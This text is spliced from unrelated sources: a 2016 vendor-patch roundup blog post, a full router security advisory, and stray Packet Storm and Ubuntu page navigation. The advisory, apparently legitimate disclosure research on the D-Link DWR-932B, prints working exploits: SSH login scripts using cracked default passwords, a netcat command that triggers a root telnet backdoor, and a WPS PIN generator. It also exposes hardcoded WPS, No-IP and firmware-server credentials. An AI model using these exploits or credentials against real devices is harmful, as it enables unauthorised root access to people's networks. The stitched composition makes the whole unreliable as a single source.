J003-Content-3rdPartyRoundup_SQAutumn season brings falling leaves and a new set patches, with an unusually large security patch bunch coming from Apple, and a regular monthly number of patches from other vendors.

Autumn is in the air, the trees are displaying their finest fall colors, the weather is getting cooler, and many of us are already getting psyched up for the holidays ahead. The seasons change, but in the IT industry there’s one constant: pumpkin patches won’t be the only kind of patches we’ll be dealing with as we head into this time of the year.

While we’re in the produce section of the grocery store, try not to upset the Apple cart because you might get buried under the large number of security updates that have been released for iProducts this month. We’re used to seeing only perhaps five or six actual updates, although often one will contain fixes for fifty or more vulnerabilities. This time, Apple has put out a whopping thirteen security patches as of this writing on September 28th.

Other vendors had more typical numbers of patch releases.

Apple released only two patches in August, so I guess they’re making up for that – with a vengeance – this time. The Safari web browser was updated twice, and the iOS mobile operating system got three updates in fewer than thirty days.

On September 1, Apple released two patches:

  • Security update 2016-001 for OS X El Capitan and 2016-005 for OS X Yosemite. These update for the Mac OS X operating system address two kernel vulnerabilities, one of which could be exploited to disclose kernel memory and the other to execute arbitrary code with kernel privileges.
  • Safari 9.1.3 for OS X Mavericks and Yosemite. This update patches a memory corruption vulnerability that could be exploited to allow a malicious web site to execute arbitrary code.

On September 13, Apple released six patches:

  • iOS 10 for iPhone 5 and above, iPad 4th gen and above, iPod Touch 6th gen and above. This update addresses 49 separate vulnerabilities in the mobile operating system, in components including the kernel, WebKit, Safari Reader, S2 Camera, Messages, Printing UIKit, Mail, GeoServices, FontParser, CoreCrypto, Audio, and more. It also updates the certificate trust policy.
  • iOS 10.0.1 for iPhone 5 and above, iPad 4th gen and above, iPod Touch 6th gen and above. This update, released the same day as the above, addresses a single validation issue that could allow an application to disclose kernel memory.
  • Xcode 8 for OS X Capitan and later. This update also addresses a single validation issue that could allow an application to disclose kernel memory.
  • watchOS 3, all models. This update addresses nineteen vulnerabilities in Apple’s smart watch operating system, which include memory corruption, input validation, memory disclosure, arbitrary code execution and other issues. Many of these are the same issues addressed in the updates for iOS and OS X.
  • tvOS 10 for Apple TV 4th This update addresses twenty-nine vulnerabilities in the operating system software for the Apple TV media device, which include many of the same issues addressed in the updates for iOS and OS X.
  • iTunes 12.5.1 for Windows 7 and above. This update address eleven vulnerabilities in the WebKit component of the iTunes application for Windows, which include parsing and permissions issues, multiple memory corruption issues, a cross-protocol exploitation of non-HTTP services vulnerability, and a certificate validation issue.
  • macOS Sierra 10.12 for OS X El Capitan. This update addresses sixty-five vulnerabilities in various components of Apple’s latest desktop and server operating system, macOS Sierra. (macOS was previously OS X; Apple changed the name to correspond more closely to iOS). The vulnerabilities exist in many components, including apache, the Application Firewall, audio, Bluetooth, crypto and display components, FontParser, the Intel graphics driver, Kerberos, the kernel, S2 Camera, security components, Terminal, WindowServer and more. The vulnerabilities include type confusion, information disclosure, arbitrary code execution, bypass of protection mechanisms, memory corruption, out-of-bounds read issues, denial of service vulnerability, user account vulnerability, a spoofing issue, session management issues, input validation issues, and more.
  • Safari 10 for OS X Yosemite, OS X El Capitan and macOS Sierra. This update addresses twenty-one vulnerabilities in the Safari web browser, which include multiple memory corruption issues, certificate validation vulnerability, cross-protocol exploitation of non-HTTP services, permissions issues, a parsing issue, a state management issue and more in Safari Reader, Safari Tabs and WebKit components.
  • macOS Server 5.2 for macOS Sierra. This update addresses a pair of vulnerabilities in apache and ServerDocs Server components that include an issue in the handling of the HTTP_PROXY environment variable that could allow an attacker to proxy traffic through an arbitrary server and an RC4 cryptographic weakness.
  • iCloud for Windows v6 for Windows 7 and above. This update addresses a single memory corruption vulnerability in the WebKit component of Apple’s iCloud application for Windows that could be exploited to accomplish arbitrary code execution.
  • iOS 10.0.2 for iPhone 5 and above, iPad 4th gen and above, and iPod Touch 6th gen and above. This update for Apple’s mobile operating system includes the security content from iOS 10.0.1.

For more information about this and the previously issued patches and the vulnerabilities that they address, see the Apple Support web site at https://support.apple.com/en-us/HT201222

Adobe released only one update in August, so we might have expected a deluge this time – but instead we got a pretty typical three patches, all of them originally released on their normal Patch Tuesday schedule, which this month fell on September 13.

  • APSB16-28. This is an update for Adobe Digital Editions for Windows, Mac OS, iOS and Android. Digital Editions (ADE) is Adobe’s ebook reader software. The update addresses seven memory corruption issues and a use-after-free vulnerability, all of which could be exploited to accomplish code execution. The rating is critical.
  • APSB16-29. This is an update for Adobe Flash Player for Windows, Mac OS, Linux and ChromeOS. It addresses twenty-six vulnerabilities including integer overflow, use-after-free, security bypass, and memory corruption issues. Impacts include code execution and information disclosure and the rating is critical.
  • APSB16-31. This is an update for Adobe AIR SDK and Compiler on Windows and Mac OS, which addresses a single vulnerability and adds support for secure transmission of runtime analytics for AIR applications on Android.

For more information about these vulnerabilities and updates, see Adobe’s Security Bulletins and Advisories web site at https://helpx.adobe.com/security.html or see the individual bulletins linked in each bullet point above.

On September 13th, Google released a security update for the Chrome web browser on Windows, Mac and Linux desktop operating systems that address multiple vulnerabilities. These include two use-after-free issues in Blink, an arbitrary memory read in v8, an extension resource access issue, a popup not correctly suppressed, and a SafeBrowsing bypass issue.

For more information, see the Google Chrome Releases blog at http://googlechromereleases.blogspot.com

Oracle normally releases security updates on a quarterly cycle, in January, April, July and October, so the next regularly scheduled patch release will occur on October 18.

Mozilla released Firefox v49 on September 20th, which contains four critical security fixes, ten rated as high severity, two rated with moderate severity and two rated low, for a total of eighteen vulnerabilities addressed.

  • Buffer overflow when working with empty filters during canvas rendering – critical
  • Potentially exploitable crash caused by buffer overflow when encoding image frames – critical
  • Memory corruption issues – critical
  • More memory corruption issues – critical
  • Heap buffer overflow – high
  • Bad cast when processing layout with input elements – high
  • Potentially exploitable crash in accessibility – high
  • Use-after-free vulnerability triggered by aria-owns attribute – high
  • Use-after-free vulnerability in web animations during restyling – high
  • Use-after-free vulnerability in web animation when destroying timeline – high
  • Use-after-free when changing text direction – high
  • Use-after-free when manipulating SVG content through script – high
  • Timing attack vulnerability using iframes – high
  • Add-on update site certification pin expiration – high
  • Full path to local files available to scripts – moderate
  • Favicons can be loaded through non-whitelisted protocols – moderate
  • Content security policy containing referrer directive with no values can cause crash – low
  • Out-of-bounds read during processing of text runs – low

For more information about those vulnerabilities and fixes, and to check for new version releases, see Mozilla’s web site at https://www.mozilla.org/en-US/security/known-vulnerabilities/firefox/

Popular Linux distros, as usual, have seen a number of security advisories and updates this month. As of the date of this writing (September 28), Ubuntu has issued twenty-eight security notices this month, which is fewer than usual. Many of these address multiple vulnerabilities and in some cases there are multiple advisories for the same vulnerabilities. Other commercial Linux vendors issued a similar number of updates. Here are the Ubuntu security advisories for September:

  • USN-3093-1: ClamAV vulnerabilities – 28th September 2016. It was discovered that ClamAV incorrectly handled certain malformed files. A remote attacker could use this issue to cause ClamAV to crash, resulting in a denial of service, or possibly execute arbitrary code. In the default installation, attackers would be isolated by the ClamAV AppArmor profile.
  • USN-3092-1: Samba vulnerability – 28th September 2016. Stefan Metzmacher discovered that Samba incorrectly handled certain flags in SMB2/3 client connections. A remote attacker could use this issue to disable client signing and impersonate servers by performing a man in the middle attack. Samba has been updated to 4.3.11 in Ubuntu 14.04 LTS and Ubuntu 16.04 LTS.
  • USN-3090-1: Pillow vulnerabilities – 27th September 2016. It was discovered that a flaw in processing a compressed text chunk in a PNG image could cause the image to have a large size when decompressed, potentially leading to a denial of service.
  • USN-3088-1: Bind vulnerability – 27th September 2016. It was discovered that Bind incorrectly handled building responses to certain specially crafted requests. A remote attacker could possibly use this issue to cause Bind to crash, resulting in a denial of service.
  • USN-3089-1: Django vulnerability – 27th September 2016. Sergey Bobrov discovered that Django incorrectly parsed cookies when being used with Google Analytics. A remote attacker could possibly use this issue to set arbitrary cookies leading to a CSRF protection bypass.
  • USN-3087-2: OpenSSL regression – 23rd September 2016. USN-3087-1 fixed vulnerabilities in OpenSSL. The fix for CVE-2016-2182 was incomplete and caused a regression when parsing certificates. This update fixes the problem.
  • USN-3087-1: OpenSSL vulnerabilities – 22nd September 2016. Shi Lei discovered that OpenSSL incorrectly handled the OCSP Status Request extension. A remote attacker could possibly use this issue to cause memory consumption, resulting in a denial of service. (CVE-2016-6304) Guido Vranken discovered that OpenSSL used undefined behaviour when performing pointer arithmetic.
  • USN-3073-1: Thunderbird vulnerabilities – 22nd September 2016. Christian Holler, Carsten Book, Gary Kwong, Jesse Ruderman, Andrew McCreight, and Phil Ringnalda discovered multiple memory safety issues in Thunderbird. If a user were tricked in to opening a specially crafted message, an attacker could potentially exploit these to cause a denial of service via application crash, or execute arbitrary code.
  • USN-3076-1: Firefox vulnerabilities – 22nd September 2016. Atte Kettunen discovered an out-of-bounds read when handling certain Content Security Policy (CSP) directives in some circumstances. If a user were tricked in to opening a specially crafted website, an attacker could potentially exploit this to cause a denial of service via application crash.
  • USN-3085-1: GDK-PixBuf vulnerabilities – 21st September 2016. It was discovered that the GDK-PixBuf library did not properly handle specially crafted bmp images, leading to a heap-based buffer overflow. If a user or automated system were tricked into opening a specially crafted bmp file, a remote attacker could use this flaw to cause GDK-PixBuf to crash.
  • USN-3086-1: Irssi vulnerabilities – 21st September 2016. Gabriel Campana and Adrien Guinet discovered that the format parsing code in Irssi did not properly verify 24bit color codes. A remote attacker could use this to cause a denial of service (application crash).
  • USN-3084-4: Linux kernel (Qualcomm Snapdragon) vulnerabilities – 19th September 2016. Pengfei Wang discovered a race condition in the audit subsystem in the Linux kernel. A local attacker could use this to corrupt audit logs or disrupt system-call auditing.
  • USN-3084-3: Linux kernel (Raspberry Pi 2) vulnerabilities – 19th September 2016. Pengfei Wang discovered a race condition in the audit subsystem in the Linux kernel. A local attacker could use this to corrupt audit logs or disrupt system-call auditing.
  • USN-3084-2: Linux kernel (Xenial HWE) vulnerabilities – 19th September 2016. USN-3084-1 fixed vulnerabilities in the Linux kernel for Ubuntu 16.04 LTS. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 16.04 LTS for Ubuntu 14.04 LTS. Pengfei Wang discovered a race condition in the audit subsystem in the Linux kernel.
  • USN-3084-1: Linux kernel vulnerabilities – 19th September 2016. Pengfei Wang discovered a race condition in the audit subsystem in the Linux kernel. A local attacker could use this to corrupt audit logs or disrupt system-call auditing.
  • USN-3083-2: Linux kernel (Trusty HWE) vulnerabilities – 19th September 2016. USN-3083-1 fixed vulnerabilities in the Linux kernel for Ubuntu 14.04 LTS. This update provides the corresponding updates for the Linux Hardware Enablement (HWE) kernel from Ubuntu 14.04 LTS for Ubuntu 12.04 LTS. Dmitry Vyukov discovered that the IPv6 implementation in the Linux kernel did not properly handle options data.
  • USN-3083-1: Linux kernel vulnerabilities – 19th September 2016. Dmitry Vyukov discovered that the IPv6 implementation in the Linux kernel did not properly handle options data, including a use-after-free. A local attacker could use this to cause a denial of service (system crash) or possibly execute arbitrary code.
  • USN-3082-2: Linux kernel (OMAP4) vulnerability – 19th September 2016. Chiachih Wu, Yuan-Tsung Lo, and Xuxian Jiang discovered that the legacy ABI for ARM (OABI) had incomplete access checks for epoll_wait(2) and semtimedop(2). A local attacker could use this to possibly execute arbitrary code.
  • USN-3082-1: Linux kernel vulnerability – 19th September 2016. Chiachih Wu, Yuan-Tsung Lo, and Xuxian Jiang discovered that the legacy ABI for ARM (OABI) had incomplete access checks for epoll_wait(2) and semtimedop(2). A local attacker could use this to possibly execute arbitrary code.
  • USN-3081-1: Tomcat vulnerability – 19th September 2016. Dawid Golunski discovered that the Tomcat init script incorrectly handled creating log files. A remote attacker could possibly use this issue to obtain root privileges. (CVE-2016-1240) This update also reverts a change in behaviour introduced in USN-3024-1 by setting mapperContextRootRedirectEnabled to True by default.
  • USN-3080-1: Python Imaging Library vulnerabilities – 15th September 2016. Eric Soroos discovered that the Python Imaging Library incorrectly handled certain malformed FLI or PhotoCD files. A remote attacker could use this issue to cause Python Imaging Library to crash, resulting in a denial of service. (CVE-2016-0775, CVE-2016-2533) Andrew Drake discovered that the Python Imaging Libray incorrectly validated input.
  • USN-3058-1: Oxide vulnerabilities – 14th September 2016. An issue was discovered in Blink involving the provisional URL for an initially empty document. An attacker could potentially exploit this to spoof the currently displayed URL. (CVE-2016-5141) A use-after-free was discovered in the WebCrypto implementation in Blink.
  • USN-3079-1: WebKitGTK+ vulnerabilities – 14th September 2016. A large number of security issues were discovered in the WebKitGTK+ Web and JavaScript engines. If a user were tricked into viewing a malicious website, a remote attacker could exploit a variety of issues related to web browser security, including cross-site scripting attacks, denial of service attacks, and arbitrary code execution.
  • USN-3078-1: MySQL vulnerability – 13th September 2016. Dawid Golunski discovered that MySQL incorrectly handled configuration files. A remote attacker could possibly use this issue to execute arbitrary code with root privileges. MySQL has been updated to 5.5.52 in Ubuntu 12.04 LTS and Ubuntu 14.04 LTS. Ubuntu 16.04 LTS has been updated to MySQL 5.7.15.
  • USN-3077-1: OpenJDK 6 vulnerabilities – 12th September 2016. A vulnerability was discovered in the OpenJDK JRE related to data integrity. An attacker could exploit this to expose sensitive data over the network or possibly execute arbitrary code. (CVE-2016-3458) Multiple vulnerabilities were discovered in the OpenJDK JRE related to availability.
  • USN-3075-1: Imlib2 vulnerabilities – 8th September 2016. Jakub Wilk discovered an out of bounds read in the GIF loader implementation in Imlib2. An attacker could use this to cause a denial of service (application crash) or possibly obtain sensitive information. (CVE-2016-3994) Yuriy M. Kaminskiy discovered an off-by-one error when handling coordinates in Imlib2.
  • USN-3074-1: File Roller vulnerability – 8th September 2016. It was discovered that File Roller incorrectly handled symlinks. If a user were tricked into extracting a specially-crafted archive, an attacker could delete files outside of the extraction directory.

For more information about any of these patches, visit the Ubuntu web site at http://www.ubuntu.com/usn/

You may also like:

  • Top 10 features in Windows Server 2016 sysadmins need to…
  • Microsoft Patch Tuesday – September 2016
  • Third Party Patch Roundup – August 2016


GFI Blog

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: Multiple vulnerabilities found in the Dlink DWR-932B (backdoor,
backdoor accounts, weak WPS, RCE ...)
Advisory URL: https://pierrekim.github.io/advisories/2016-dlink-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
Date published: 2016-09-28
Vendors contacted: Dlink
Release mode: Released
CVE: no current CVE
DWF: no current DWF

## Product Description

Dlink is a multinational networking equipment manufacturing corporation.

## Vulnerabilities Summary

The Dlink DWR-932B is a LTE router / access point overall badly
designed with a lot of vulnerabilities.
It's available in a number of countries to provide Internet with a LTE network.
It's a model based on the (in)famous Quanta LTE router models and
inherits some vulnerabilities.

The tests below are done using the latest available firmware (firmware
DWR-932_fw_revB_2_02_eu_en_20150709.zip,
model revision B,
/Share3/DailyBuild/QDX_DailyBuild/QDT_2031_DLINK/QDT_2031_OS/source/LINUX/apps_proc/oe-core/build/tmp-eglibc/sysroots/x86_64-linux/usr/bin/armv7a-vfp-neon-oe-linux-gnueabi/arm-oe-linux-gnueabi-gcc).

The summary of the vulnerabilities is:

- Backdoor accounts
- Backdoor
- Default WPS PIN
- Weak WPS PIN Generation - with a reverse-engineered algorithm
- Leaking No-IP account (?)
- Multiple vulnerabilities in the HTTP daemon (qmiweb)
- Remote FOTA (Firmware Over The Air)
- Bad security practices
- Security removed in UPnP

A personal point of view: at best, the vulnerabilites are due to
incompetence; at worst, it is a deliberate act of security sabotage
from the vendor. Not all the vulnerabilities found have been disclosed
in this advisory. Only the significant ones are shown.

This router is still on sale.

Due to lack of security patches provided by the vendor, the
vulnerabilities will remain unpatched and customers with questions
should contact their local/regional D-Link support office for the
latest information.

## Details - Backdoor accounts

By default, telnetd and SSHd are running in the router.

Telnetd is running even if there is no documentation about it:

[email protected]:~$ cat ./etc/init.d/start_appmgr

[...]
#Sandro for telnetd debug...
start-stop-daemon -S -b -a /bin/logmaster
#if [ -e /config2/telnetd ]; then
start-stop-daemon -S -b -a /sbin/telnetd
#fi
#Sandro
[...]

2 backdoor accounts exist and can be used to bypass the HTTP
authentication used to manage the router.

[email protected]:~$ grep admin /etc/passwd
admin:htEcF9TWn./9Q:168:168:admin:/:/bin/sh
[email protected]:~$

The password for admin is 'admin' and can be found in the /bin/appmgr
program using IDA:

About the root user:

[email protected]:~$ cat ./etc/shadow
root:aRDiHrJ0OkehM:16270:0:99999:7:::
daemon:*:16270:0:99999:7:::
bin:*:16270:0:99999:7:::
sys:*:16270:0:99999:7:::
sync:*:16270:0:99999:7:::
games:*:16270:0:99999:7:::
man:*:16270:0:99999:7:::
lp:*:16270:0:99999:7:::
mail:*:16270:0:99999:7:::
news:*:16270:0:99999:7:::
uucp:*:16270:0:99999:7:::
proxy:*:16270:0:99999:7:::
www-data:*:16270:0:99999:7:::
backup:*:16270:0:99999:7:::
list:*:16270:0:99999:7:::
irc:*:16270:0:99999:7:::
gnats:*:16270:0:99999:7:::
diag:*:16270:0:99999:7:::
nobody:*:16270:0:99999:7:::
messagebus:!:16270:0:99999:7:::
avahi:!:16270:0:99999:7:::
[email protected]:~$

Using john to crack the hashes:

[email protected]:~$ john -show shadow+passwd
admin:admin:admin:/:/bin/sh
root:1234:16270:0:99999:7:::

2 password hashes cracked, 0 left
[email protected]:~$

Results:

- admin has password admin
- root has password 1234

Working exploit for admin:

[email protected]:~$ cat quanta-ssh-default-password-admin
#!/usr/bin/expect -f

set timeout 3
spawn ssh [email protected]
expect "password: $ "
send "admin\r"
interact
[email protected]:~$ ./quanta-ssh-default-password-admin
spawn ssh [email protected]
[email protected]'s password:
[email protected]:~$ id
uid=168(admin) gid=168(admin) groups=168(admin)
[email protected]:~$

Alternatively, you can fetch it at
https://pierrekim.github.io/advisories/quanta-ssh-default-password-admin.

Working exploit for root:

[email protected]:~$ cat quanta-ssh-default-password-root
#!/usr/bin/expect -f

set timeout 3
spawn ssh [email protected]
expect "password: $ "
send "1234\r"
interact
[email protected]:~$ ./quanta-ssh-default-password-root
spawn ssh [email protected]
[email protected]'s password:
[email protected]:~# id
uid=168(root) gid=168(root) groups=168(root)
[email protected]:~#

Alternatively, you can fetch it at
https://pierrekim.github.io/advisories/quanta-ssh-default-password-root.

## Details - Backdoor

A backdoor is present inside the `/bin/appmgr` program. By sending a
specific string in UDP to the router, an authentication-less telnet
server will start if a telnetd daemon is not already running.

In `/bin/appmgr`, a thread listens to 0.0.0.0:39889 (UDP) and waits
for commands.

If a client sends "HELODBG" to the router, the router will execute
`/sbin/telnetd -l /bin/sh`, allowing to access without authentication
to the router as root.

When using IDA, we can see the backdoor is located in the main
function (line 369):

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]

Working PoC :

[email protected]:~$ echo -ne "HELODBG" | nc -u 192.168.1.1 39889
Hello
^C
[email protected]:~$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.

OpenEmbedded Linux homerouter.cpe

msm 20141210 homerouter.cpe

/ # id
uid=0(root) gid=0(root)
/ # exit
Connection closed by foreign host.
[email protected]:~$

## Details - Default WPS PIN

Wi-Fi Protected Setup(WPS) is a standard for easy and secure
establishment of a wireless home network, as defined in the
documentation provided in the router (help.html).

By default, the PIN for the WPS system is ever 28296607. It is, in
fact, hardcoded in the /bin/appmgr program:

This PIN can be found in the HostAP configuration too, and, using the
information leak, in the HTTP APIs of the router:

[email protected]:~# ps -a|grep hostap
1006 root 0:00 hostapd /var/wifi/ar6k0.conf
1219 root 0:00 grep hostap
[email protected]:~# cat /var/wifi/ar6k0.conf
[...]
ap_pin=28296607
[...]

## Details - Weak WPS PIN Generation - with a reverse-engineered algorithm

An user can use the webinterface to generate a temporary PIN for the
WPS system (low probability as the 28296607 WPS PIN is provided by
default).

The PIN generated by the router is weak as it is generated using this
"strange" reverse-engineered algorithm:

[email protected]:~$ cat quanta-wps-gen.c

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int argc,
char **argv,
char **envp)
{
unsigned int i0, i1;
int i2;

/* the seed is the current time of the router, which uses NTP... */
srand(time(0));

i0 = rand() % 10000000;
if (i0 <= 999999)
i0 += 1000000;
i1 = 10 * i0;
i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 *
(i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 %
10 + i1 / 10 % 10))
% 10) % 10 + 10 * i0;

printf("%d\n", i2 );

return (0);
}

[email protected]:~$ gcc -o dlink-wps-gen quanta-wps-gen.c
[email protected]:~$ ./dlink-wps-gen
97329329
[email protected]:~$

You can fetch this program at
https://pierrekim.github.io/advisories/quanta-wps-gen.c.

Using `srand(time(0))` as a seed is a bad idea because an attacker,
knowing the current date as `time(0)` returns the current date in an
integer value, can just generate the valid WPS PIN. The Router uses
NTP so is likely to have a correct timestamp configured. It's trivial
for an attacker to generate valid WPS PIN suites and bruteforce them.

For the curious reader, the original algorithm in the firmware is:

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see this long content]

## Details - Leaking No-IP account (?):

The file `/etc/inadyn-mt.conf` (for a dyndns client) contains an user
and a hardcoded password:

--log_file /usr/inadyn_srv.log
--forced_update_period 6000
--username alex_hung
--password 641021
--dyndns_system [email protected]
--alias test.no-ip.com

## Details - Multiple vulnerabilities in the HTTP daemon (qmiweb)

The HTTP daemon `/bin/qmiweb` is full of vulnerabilities.

You can see my precedent researches about a router model using a
similar firmware:

- https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#webinterface-information-leak
- https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-1
- https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#rce-2
- https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-browsing-using-the-http-daemon
- https://pierrekim.github.io/blog/2016-04-04-quanta-lte-routers-vulnerabilities.html#arbitrary-file-reading-using-the-http-daemon

Adapting the exploits is left as exercises for the reader 🙂

## Details - Remote FOTA (Firmware Over The Air)

The credentials to contact the FOTA server are hardcoded in the
`/sbin/fotad` binary, as shown with this IDA screenshot:

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]

The function sub_CAAC contains the credentials as base64-strings, used
to retrieve the firmware.

It's notable the FOTA daemon tries to retrieve the firmware over
HTTPS. But at the date of the writing, the SSL certificate for
https://qdp:[email protected]/qdh/ispname/2031/appliance.xml is
invalid for 1.5 year.

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]

The user/password combinations are:

qdpc:qdpc
qdpe:qdpe
qdp:qdp

## Details - Bad security practices:

- From `/etc/init.d/start_appmgr`, you will read "strange" shell
commands executed as root, like:

if [ -f /sbin/netcfg ]; then
echo -n "chmod 777 netcfg"
chmod 777 /sbin/netcfg
fi
if [ -f /bin/QNetCfg ]; then
echo -n "chmod 777 QNetCfg"
chmod 777 /bin/QNetCfg
fi

I have no idea why the vendor needs to chmod 777 files located in /bin/.

## Details - Security removed in UPnP

UPnP allows to add firewall rules dynamically. Because of the security
risks involved, generally there are restrictions in place to avoid
dangerous new firewall rules from an unstrusted LAN client.

Insecurity in IPnP was hype 10 years ago (in 2006). The security level
of the UPNP program (miniupnp) in this router is volountarily lowered
as shown below and allows an attacker located in the LAN area to add
Port forwarding from the Internet to other clients located in the LAN:

The `/var/miniupnpd.conf` is generated by the `/bin/appmgr` program:

[please visit the HTML version at
https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html
to see the image]

It will generate the /var/miniupnpd.conf file:

ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client
are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD

There is no restriction about the UPnP permission rules in the
configuration file, contrary to common usage in UPnP where it is
advised to only allow redirection of port above 1024:

Normal config file:

# UPnP permission rules
# (allow|deny) (external port range) ip/mask (internal port range)
# A port range is <min port>-<max port> or <port> if there is only
# one port in the range.
# ip/mask format must be nn.nn.nn.nn/nn
# it is advised to only allow redirection of port above 1024
# and to finish the rule set with "deny 0-65535 0.0.0.0/0 0-65535"
allow 1024-65535 192.168.0.0/24 1024-65535
deny 0-65535 0.0.0.0/0 0-65535

In the configuration of the vulnerable router where there are no
permission rules, an attacker can forward everything from the WAN into
the LAN. For example, an attacker can add a forwarding rule in order
to allow traffic from the Internet to local Exchange servers, mail
servers, ftp servers, http servers, database servers... In fact, this
lack of security allows a local user to forward whatever they want
from the Internet into the LAN.

## Personal notes

As the router has a sizable memory (168 MB), a decent CPU and good
free space (235 MB) with complete toolkits installed by default (sshd,
proxy (/bin/tinyproxy -c /var/tproxy.conf), tcpdump ...), I advise
users to trash their routers because it's trivial for an attacker to
use this router as an attack vector (ie: hosting a sniffing tool, LAN
hacking, active MiTM tool, spamming zombie).

- From my tests, it is possible to overwrite the firmware with a
custom (backdoored) firmware. Generating a valid backdoored firmware
is left as an exercise for the reader, but with all these
vulnerabilities present in the default firmware, I don't think it is
worth making the effort.

## Vendor Response

Customers with questions should contact their local/regional D-Link
support offices for the latest information.

## Report Timeline

* Dec 04, 2015: Vulnerabilities found by Pierre Kim in Quanta routers.
* Apr 04, 2016: A public advisory about Quanta routers is sent to
security mailing lists.
* Jun 09, 2016: Pierre Kim is contacted by Gianni Carabelli about
Dlink DWR-932 router's similarities to Quanta routers.
* Jun 14, 2016: Pierre Kim thanks Gianni Carabelli and says he will
contact Dlink.
* Jun 15, 2016: Dlink is contacted about vulnerabilities in the
DWR-932 router (=~ 20 vulns).
* Jun 16, 2016: Dlink Security Incident Response Team (William Brown)
acknowledges the receipt of the report and says they will provide
further updates.
* Jul 09, 2016: Pierre asks for updates.
* Jul 09, 2016: Dlink says they will have correction by July 15.
* Jul 19, 2016: Pierre asks for updates.
* Aug 19, 2016: Pierre asks for updates.
* Sep 12, 2016: Pierre asks for updates and says he will soon release
an advisory as 90 days have passed without news.
* Sep 12, 2016: [email protected] is contacted to get pieces of advice
about the disclosure.
* Sep 13, 2016: CERT recommends to try to contact D-link and to
publish the advisory.
* Sep 13, 2016: Dlinks says they don't have a schedule for a firmware
release. Customers who have questions should contact their
local/regional D-Link support offices for the latest information.
support.dlink.com will be updated in the next 24 hours.
* Sep 28, 2016: A public advisory is sent to security mailing lists.

## Credits

These vulnerabilities were found by Pierre Kim (@PierreKimSec).

I would like to thank Gianni Carabelli who found this router and
thought it was very similar to the previous backdoored Quanta routers.

## References

https://pierrekim.github.io/advisories/2016-dlink-0x00.txt

https://pierrekim.github.io/blog/2016-09-28-dlink-dwr-932b-lte-routers-vulnerabilities.html

https://www.linkedin.com/pulse/rooting-dlink-dwr-923-4g-router-gianni-carabelli

## Disclaimer

This advisory is licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 License:
http://creativecommons.org/licenses/by-nc-sa/3.0/

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBCgAGBQJX6qMQAAoJEMQ+Dtp9ky28YaoQALOfDQtF2gYqqLHVBADCVZRC
pBvCNWHrfEcHbMr0bWVvTGQ9/sOjmX+D76GWs4fc/Jl2REORrcg6GR0QM5L0N1O8
GWgLH2O82RR/YweXtNXaIhkZGizFALlmMxav9Pey/FzAYMajCnaSiodyaTrD5+B1
1dBRp//zfNhQ5cTl70baRdTLhzZaNBMKkyBHjJ+uYuP/0itBcYak7OhpqyAzYkF8
s8vyjbTjsG/An19N3jLLDemVLlQvgMTHcqIwvu+FW1Gpx6q39izyZAXv+iXxIUtW
qW+cfMfRooqTo6wGSuH/NO5dfFRdvMIsoVE5GMZqJTcPg2SXbZNdsRQSUrwTV2T0
uHMZO1xMg6WWez6/OaRnGvveSkAPlR0v5KIoyH7nw3Gfg4V63GxCPgrguKUBbMXV
e2cc3ixPOD74UTyIHdqROmDwebHVcHV2tPphFJJRLXQ8WPTB8aJIJEVU82tCZSoh
Uot+B1rorXzTXEjRPoxqO9kuxYj5ZtVVUJPn8NA2Bm284lolDUYbq8qwAeH1X3MI
Fd9bQ+R4CsKDKx1vWGu5uMATqk1VQoRnERDIbvngkR5/vjZtl2soMViHcDV4nqxl
k9lohd8q7BjcPWVkFadFHKvfLv9lHrXdxMTPv9Wug1VOYRlm1GzVh7F7jT+zi2a8
2ikFUEGjc5+RXNQLLiZF
=z06Q
-----END PGP SIGNATURE-----


Exploit Files ≈ Packet Storm

USN-3094-1: Systemd vulnerability | Ubuntu

Jump to site nav

  • Jump to content
  • Cloud
    • Overview
    • Ubuntu OpenStack
    • Public cloud
    • Cloud tools
    • Cloud management
    • Ecosystem
    • Cloud labs
  • Server
    • Overview
    • Server management
    • Hyperscale
  • Desktop
    • Overview
    • Features
    • For business
    • For developers
    • Take the tour
    • Desktop management
    • Ubuntu Kylin
  • Phone
    • Overview
    • Features
    • Scopes
    • App ecosystem
    • Operators and OEMs
    • Carrier Advisory Group
    • Ubuntu for Android
  • Tablet
    • Design
    • Operators and OEMs
    • App ecosystem
  • TV
    • Overview
    • Experience
    • Industry
    • Contributors
    • Features and specs
    • Commercial info
  • Management
    • Overview
    • Landscape features
    • Working with Landscape
    • Return on investment
    • Compliance
    • Ubuntu Advantage
  • Download
    • Overview
    • Cloud
    • Server
    • Desktop
    • Ubuntu Kylin
    • Alternative downloads


Ubuntu Security Notices

